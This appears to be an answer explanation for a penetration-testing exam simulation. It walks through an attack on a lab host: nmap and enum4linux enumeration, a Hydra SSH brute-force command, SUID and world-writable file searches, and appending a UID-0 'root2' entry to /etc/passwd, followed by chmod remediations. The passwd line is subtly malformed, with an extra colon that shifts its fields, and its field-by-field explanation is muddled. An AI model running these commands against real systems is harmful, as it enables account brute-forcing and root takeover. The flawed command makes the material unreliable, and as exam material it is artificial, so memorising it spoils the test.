See the Explanation below for complete solution.
Explanation:
The command that would most likely exploit the services is:
hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
The appropriate set of commands to escalate privileges is:
echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
The remediations that should be taken after the successful privilege escalation are:
* Remove the SUID bit from cp.
* Make backup script not world-writable.
Comprehensive Step-by-Step Explanation of the Simulation
Part 1: Exploiting Vulnerable Service
* Nmap Scan Analysis
* Command: nmap -sC -T4 192.168.10.2
* Purpose: This command runs a default script scan with timing template 4 (aggressive).
* Output:
bash
Copy code
Port State Service
22/tcp open ssh
23/tcp closed telnet
80/tcp open http
111/tcp closed rpcbind
445/tcp open samba
3389/tcp closed rdp
Ports open are SSH (22), HTTP (80), and Samba (445).
* Enumerating Samba Shares
* Command: enum4linux -S 192.168.10.2
* Purpose: To enumerate Samba shares and users.
* Output:
makefile
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user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x42]
user:[syslog] rid:[0x4ba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
We identify a user lowpriv.
* Selecting Exploit Command
* Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
* Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.
* Explanation:
* -l lowpriv: Specifies the username.
* -P 500-worst-passwords.txt: Specifies the password list.
* -t 4: Uses 4 tasks/threads for the attack.
* ssh://192.168.10.2:22: Specifies the SSH service and port.
* Executing the Hydra Command
* Result: Successful login as lowpriv user if a match is found.
Part 2: Privilege Escalation and Remediation
* Finding SUID Binaries and Configuration Files
* Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l
* Purpose: To find world-writable files.
* Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l
* Purpose: To find files with SUID permission.
* Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7
* Purpose: To identify users with bash shell access.
* Selecting Privilege Escalation Command
* Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
* Purpose: To create a new root user entry in the passwd file.
* Explanation:
* root2: Username.
* 5ZOYXRFHVZ7OY: Password hash.
* ::0:0: User and group ID (root).
* /root: Home directory.
* /bin/bash: Default shell.
* Executing the Privilege Escalation Command
* Result: Creation of a new root user root2 with a specified password.
* Remediation Steps Post-Exploitation
* Remove SUID Bit from cp:
* Command: chmod u-s /bin/cp
* Purpose: Removing the SUID bit from cp to prevent misuse.
* Make Backup Script Not World-Writable:
* Command: chmod o-w /path/to/backup/script
* Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.
Execution and Verification
* Verifying Hydra Attack:
* Run the Hydra command and monitor for successful login attempts.
* Verifying Privilege Escalation:
* After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.
* Implementing Remediation:
* Apply the remediation commands to secure the system and verify the changes have been implemented.
By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.